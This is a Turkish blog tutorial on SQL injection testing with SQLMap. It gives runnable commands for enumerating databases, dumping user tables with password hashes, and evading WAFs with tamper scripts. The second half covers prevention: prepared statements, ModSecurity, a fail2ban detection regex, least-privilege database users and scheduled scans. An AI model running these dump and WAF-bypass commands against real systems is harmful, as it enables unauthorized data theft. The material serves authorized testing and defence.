SQLMap ile SQL Injection Testi ve Önleme

Geçen ay bir e-ticaret müşterimizin sistemine bakarken karşılaştığım şey beni gerçekten rahatsız etmişti: Yıllardır üretimde çalışan bir PHP uygulaması, basit bir GET parametresine gömülmüş SQL injection açığı taşıyordu. Kimse fark etmemişti. Güvenlik taraması yapılmamıştı. Uygulama “çalışıyordu” ve bu yeterliydi. SQLMap’i çalıştırdığımda ekran bir saniye içinde kırmızıya boyandı ve içim burkuldu.

Bu yazıda SQLMap’i hem saldırgan hem de savunmacı perspektiften ele alacağız. Kendi sistemlerinizi test etmek, açıkları bulmak ve sonrasında ne yapmanız gerektiğini anlatacağım.

SQLMap Nedir ve Neden Önemlidir

SQLMap, SQL injection açıklarını otomatik olarak tespit eden ve exploit eden açık kaynaklı bir araçtır. Python ile yazılmıştır, aktif olarak geliştirilmektedir ve sızma testi dünyasının fiilen standart araçlarından biri haline gelmiştir. Ama dikkat edin: Güçlü araçlar sorumsuz ellerde ciddi hasar verebilir. SQLMap’i yalnızca izin aldığınız sistemlerde kullanın.

Peki neden bu kadar önemli? Çünkü SQL injection hâlâ OWASP Top 10 listesindeki yerini koruyor. Yeni nesil frameworkler, ORM katmanları ve hazır çözümler kullanılsa da eski sistem bileşenleri, kötü yazılmış stored procedure’lar veya ham sorgu birleştirme yapan geliştiricilerin kodu her zaman ortalıkta dolaşıyor.

Kurulum ve Temel Yapılandırma

Debian/Ubuntu tabanlı sistemlerde kurulum oldukça basittir:

sudo apt update && sudo apt install sqlmap -y

# Veya güncel sürüm için Git üzerinden:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --version

Kali Linux kullanıyorsanız SQLMap zaten yüklü gelir. CentOS/RHEL tarafında ise şöyle kurabilirsiniz:

sudo dnf install python3 -y
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap
ln -s /opt/sqlmap/sqlmap.py /usr/local/bin/sqlmap
chmod +x /usr/local/bin/sqlmap

İlk Test: Basit GET Parametresi Taraması

Diyelim ki test ortamınızda DVWA (Damn Vulnerable Web Application) kurulu. Bu aşina olmanız gereken bir lab ortamıdır. Gerçek dünyada ise izinli bir hedef URL ile çalışıyorsunuz.

Temel kullanım şöyle başlar:

sqlmap -u "http://testsite.local/products.php?id=1" --dbs

Bu komut şunu yapar: Belirtilen URL’deki id parametresini test eder ve eğer açık bulursa mevcut veritabanlarını listeler.

Daha gerçekçi bir senaryo için birkaç parametre ekleyelim:

sqlmap -u "http://testsite.local/products.php?id=1" 
  --dbs 
  --level=3 
  --risk=2 
  --random-agent 
  --delay=1 
  --output-dir=/tmp/sqlmap-results

Parametrelerin açıklaması:

  • –dbs: Mevcut veritabanlarını listele
  • –level=3: Test derinliği (1-5 arası, yükseldikçe daha fazla payload dener)
  • –risk=2: Agresiflik seviyesi (1-3 arası, yüksek risk değerleri veri değiştirebilir)
  • –random-agent: Her istekte rastgele User-Agent kullan (basit WAF atlatma)
  • –delay=1: İstekler arası 1 saniyelik bekleme (rate limiting’e yakalanmamak için)
  • –output-dir: Sonuçları kaydet

POST İsteklerinin Testi

Çoğu gerçek uygulama GET değil POST ile çalışır. Giriş formları, arama kutuları, filtre mekanizmaları. Bu tür hedeflerde SQLMap’i şöyle kullanırsınız:

sqlmap -u "http://testsite.local/login.php" 
  --data="username=admin&password=test" 
  --dbs 
  --level=5 
  --risk=3 
  --batch

–batch parametresi SQLMap’in tüm sorulara otomatik olarak varsayılan cevap vermesini sağlar, gece çalıştırdığınız otomatik testler için çok işe yarar.

Peki ya oturum gerektiren sayfalar? Burada cookie yönetimi devreye girer:

sqlmap -u "http://testsite.local/profile.php?user_id=42" 
  --cookie="PHPSESSID=abc123xyz456; security=medium" 
  --dbs 
  --tables 
  --random-agent

Burp Suite ile araya girerek yakaladığınız ham isteği de direkt verebilirsiniz, bu aslında benim en çok tercih ettiğim yöntem:

# request.txt dosyasına Burp'ten kopyaladığınız isteği yapıştırın
sqlmap -r /tmp/request.txt --dbs --level=3

Veritabanı Yapısını Keşfetme

Açık tespit edilip veritabanları listelendikten sonra gerçek hasar potansiyeli ortaya çıkar. Bir sızma testi raporunda bu aşamayı somut göstermeniz gerekir:

# Belirli bir veritabanının tablolarını listele
sqlmap -u "http://testsite.local/products.php?id=1" 
  -D hedef_veritabani 
  --tables

# Belirli bir tablonun kolonlarını listele
sqlmap -u "http://testsite.local/products.php?id=1" 
  -D hedef_veritabani 
  -T kullanicilar 
  --columns

# Veriyi dump et (dikkat: bunu yalnızca izinli sistemlerde yapın)
sqlmap -u "http://testsite.local/products.php?id=1" 
  -D hedef_veritabani 
  -T kullanicilar 
  -C "kullanici_adi,email,sifre_hash" 
  --dump

Gerçek bir penetrasyon testinde bu noktada durursunuz ve raporda “kullanıcı tablosuna ulaşılabildi, X satır veri görünür durumda” şeklinde belgeleme yaparsınız. Veriyi almak değil, alınabileceğini kanıtlamak yeterlidir.

Gelişmiş Teknikler: WAF Atlatma ve Karmaşık Senaryolar

Modern sistemlerin büyük çoğunluğunda bir WAF (Web Application Firewall) bulunur. ModSecurity, AWS WAF, Cloudflare. SQLMap’in bununla başa çıkma yöntemleri var:

# Tamper scriptleri ile obfuscation
sqlmap -u "http://testsite.local/search.php?q=laptop" 
  --tamper=space2comment,between,randomcase 
  --level=5 
  --risk=2 
  --dbs

# Chunked transfer ile WAF atlatma
sqlmap -u "http://testsite.local/search.php?q=laptop" 
  --chunked 
  --tamper=charencode 
  --dbs

# Proxy üzerinden çalıştırma (Burp Suite ile analiz için)
sqlmap -u "http://testsite.local/products.php?id=1" 
  --proxy="http://127.0.0.1:8080" 
  --dbs

Sık kullanılan tamper scriptleri:

  • space2comment: Boşlukları /**/ ile değiştirir
  • between: > ve < operatörlerini BETWEEN ile değiştirir
  • randomcase: Büyük/küçük harf rastgeleleştirme yapar
  • charencode: URL encoding uygular
  • base64encode: Belirli payload kısımlarını base64’e çevirir
  • apostrophemask: Tek tırnak işaretlerini unicode ile değiştirir

Blind SQL Injection Tespiti

Her açık ekrana hata basmaz. Boolean-based ve time-based blind injection’lar çok daha sinsi ve yaygındır. SQLMap bunları da otomatik olarak dener:

# Time-based blind için timeout süresini artır
sqlmap -u "http://testsite.local/check.php?code=ABC123" 
  --technique=T 
  --time-sec=5 
  --level=5 
  --dbs 
  --batch

# Boolean-based blind
sqlmap -u "http://testsite.local/check.php?code=ABC123" 
  --technique=B 
  --level=5 
  --dbs

–technique parametresi ile hangi injection tekniğinin deneneceğini belirtebilirsiniz:

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries

Müşteri sistemlerinde genellikle -T tekniğini özellikle belirtip test ederim çünkü bazı WAF’lar error-based payloadları yakalarken time-based’e kör kalabiliyor.

SQLMap Loglarını Okumak ve Raporlama

SQLMap varsayılan olarak ~/.local/share/sqlmap/output/ dizinine sonuçları yazar. Özellikle belirttiğinizde --output-dir ile istediğiniz yere yazar. Bu logları okumak önemlidir:

# Önceki tarama sonuçlarını görüntüle
ls ~/.local/share/sqlmap/output/

# Belirli bir hedefe ait log
cat ~/.local/share/sqlmap/output/testsite.local/log

# Dump edilen verilere bak
ls ~/.local/share/sqlmap/output/testsite.local/dump/

Raporlama için ham çıktıyı bir dosyaya yönlendirmeniz daha temiz olur:

sqlmap -u "http://testsite.local/products.php?id=1" 
  --dbs 
  --level=3 
  --batch 
  2>&1 | tee /tmp/sqlmap-$(date +%Y%m%d-%H%M).txt

Önleme Tarafı: Geliştirici ve Sysadmin Olarak Ne Yapmalısınız

Şimdi konunun benim için asıl önemli olan kısmına geliyoruz. Açığı buldunuz, raporu yazdınız. Peki sonra?

Kod Seviyesinde Önlemler

Birincil çözüm parameterized queries (hazırlanmış sorgular) kullanmaktır. PHP PDO örneği:

// YANLIS - SQL injection acigi var
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

// DOGRU - Parametrized query
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $_GET['id']]);

Java ve Node.js tarafında da aynı prensip geçerlidir. ORM kullansanız bile ham sorgu yazan kodları review edin.

Sunucu Tarafında ModSecurity ile Koruma

Apache veya Nginx kullanıyorsanız ModSecurity şart:

# Ubuntu'da ModSecurity kurulumu (Apache)
sudo apt install libapache2-mod-security2 -y
sudo a2enmod security2

# OWASP Core Rule Set indir
cd /etc/modsecurity
sudo git clone https://github.com/coreruleset/coreruleset.git
sudo cp coreruleset/crs-setup.conf.example coreruleset/crs-setup.conf

# ModSecurity yapılandırması
sudo nano /etc/modsecurity/modsecurity.conf
# SecRuleEngine DetectionOnly -> SecRuleEngine On olarak değiştirin
# /etc/apache2/mods-enabled/security2.conf içine ekle
IncludeOptional /etc/modsecurity/coreruleset/crs-setup.conf
IncludeOptional /etc/modsecurity/coreruleset/rules/*.conf

ModSecurity’yi önce DetectionOnly modunda çalıştırın, logları izleyin, false positive’leri ayarlayın, sonra On moduna alın. Bunu es geçip direkt aktif moda almak meşru trafiği kırabileceğinden production ortamında ciddi sorunlara yol açar.

Fail2ban ile SQLMap Tespiti ve Engelleme

SQLMap çalıştığında Apache/Nginx loglarında belirgin izler bırakır. Fail2ban ile bu trafik yakalanabilir:

# /etc/fail2ban/filter.d/sqlmap.conf
[Definition]
failregex = ^<HOST> .* "(GET|POST) .*(%27|'|--|%23|#|bORb|bANDb|bSELECTb|bUNIONb).*" [0-9]+ [0-9]+
ignoreregex =
# /etc/fail2ban/jail.local içine ekle
[sqlmap-detection]
enabled = true
port = http,https
filter = sqlmap
logpath = /var/log/apache2/access.log
maxretry = 5
findtime = 300
bantime = 3600
sudo systemctl restart fail2ban
sudo fail2ban-client status sqlmap-detection

Veritabanı Kullanıcı Yetkilerini Kısıtlayın

Bu çok temel bir kural ama inanılmaz sıklıkla ihlal edildiğini görüyorum. Web uygulamanızın veritabanı kullanıcısı root veya tam yetkili bir kullanıcı olmamalıdır:

# MySQL'de kısıtlı kullanıcı oluşturma
mysql -u root -p

-- Yalnızca ihtiyaç duyulan veritabani ve tablolara izin ver
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'guclu_sifre_buraya';
GRANT SELECT, INSERT, UPDATE, DELETE ON uygulama_db.* TO 'webapp_user'@'localhost';
-- DROP, CREATE, ALTER yetkisi verme
FLUSH PRIVILEGES;

-- Mevcut yetkileri kontrol et
SHOW GRANTS FOR 'webapp_user'@'localhost';

SQLMap --os-shell veya --sql-shell ile işletim sistemine erişmeye çalıştığında en büyük engel minimum yetki prensibidir. Veritabanı kullanıcısı FILE yetkisine sahip değilse bu ataklar başarısız olur.

Düzenli Otomatik Tarama

Aylık veya sprint döngülerinize bağlı olarak otomatik SQLMap taramasını CI/CD pipeline’ınıza eklemek artık bir lüks değil zorunluluktur:

#!/bin/bash
# /opt/scripts/sqlmap-weekly-scan.sh

TARGET_URLS=(
    "http://staging.testsite.local/products.php?id=1"
    "http://staging.testsite.local/search.php?q=test"
    "http://staging.testsite.local/user.php?profile_id=1"
)

REPORT_DIR="/var/log/security/sqlmap/$(date +%Y-%m-%d)"
mkdir -p "$REPORT_DIR"

for url in "${TARGET_URLS[@]}"; do
    domain=$(echo "$url" | awk -F/ '{print $3}')
    echo "[*] Taranıyor: $url"
    sqlmap -u "$url" 
        --batch 
        --level=2 
        --risk=1 
        --random-agent 
        --output-dir="$REPORT_DIR" 
        2>&1 | tee -a "$REPORT_DIR/scan-summary.txt"
done

# Sonuçları mail ile gönder (mailutils kurulu olmalı)
if grep -q "sql injection" "$REPORT_DIR/scan-summary.txt"; then
    mail -s "UYARI: SQL Injection Acigi Tespit Edildi" [email protected] < "$REPORT_DIR/scan-summary.txt"
fi

echo "[+] Tarama tamamlandı. Sonuçlar: $REPORT_DIR"

Bu scripti crontab’a ekleyin:

# Her Pazar gece 02:00'de çalıştır
0 2 * * 0 /opt/scripts/sqlmap-weekly-scan.sh >> /var/log/security/sqlmap-cron.log 2>&1

Gerçek Dünya Senaryosu: Bir Pentest Vakası

Bir fintech firmasının penetrasyon testinde şu durum ile karşılaştım: Uygulama güzel bir React frontend’e sahipti, API call’lar JWT ile korunuyordu. Ancak yedek bir yönetim paneli vardı, eski PHP ile yazılmıştı ve sadece “iç ağdan erişilebilir” diye güveniliyordu.

VPN erişimi ile iç ağdan bu panele ulaştığımda şunu yaptım:

# Önce Burp ile tüm istekleri yakaladım
# Sonra yakalanan isteği request.txt'e kaydettim

sqlmap -r /tmp/admin-panel-request.txt 
  --level=5 
  --risk=3 
  --dbs 
  --batch 
  --technique=BEUST

# Sonuç: 3 farklı veritabanı listelendi
# En kritik olanı: customer_data
sqlmap -r /tmp/admin-panel-request.txt 
  -D customer_data 
  --tables 
  --batch

Panel kırılmış durumdaydı. 200.000’in üzerinde müşteri kaydı, düz metin saklanan bazı kart son kullanma tarihleri (PCI-DSS ihlali), şifre hashlerinin bir kısmı MD5 ile şifrelenmiş. Rapor ağırdı. Firma’nın CTO’su o toplantıda yüzünün kararmasını hiç unutmam.

Savunma önerilerimiz şunlardı: Eski paneli tamamen yayından kaldırın, gerekiyorsa yeniden yazın. Minimum yetki ilkesini uygulayın. ModSecurity kurun. Input validation’ı ORM seviyesinde zorunlu kılın. Ve asla “iç ağdan erişilebilir olduğu için güvenli” demeyın.

Sonuç

SQLMap güçlü bir araç ama sonuçta bir araç. Asıl değeri, bulduklarınızla ne yaptığınızda yatıyor. Bir güvenlik testi yaptınız, açıkları buldunuz, raporladınız; peki ertesi ay aynı açıklar hâlâ orada mı duruyor?

Sistematik bir yaklaşım şart: Düzenli tarama, kod review, geliştiricilerin eğitimi ve WAF kurallarının güncel tutulması. Bunların hepsi birlikte çalışmak zorunda. Yalnızca WAF kurup “hallettik” demek, yalnızca tarama yapıp düzeltme yapmamak, ya da yalnızca ORM kullanıp eski kodları gözardı etmek boşluk yaratır.

Son bir not: SQLMap loglarını düzenli kontrol edin. Birinin sizin sisteminize karşı bu aracı çalıştırdığını fark ettiğinizde saldırganın ne kadar ilerlediğini görmek için o loglar paha biçilmezdir. Savunmacı zihniyetle ofansif araçları anlamak, modern sysadmin’liğin kaçınılmaz bir parçası haline geldi.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir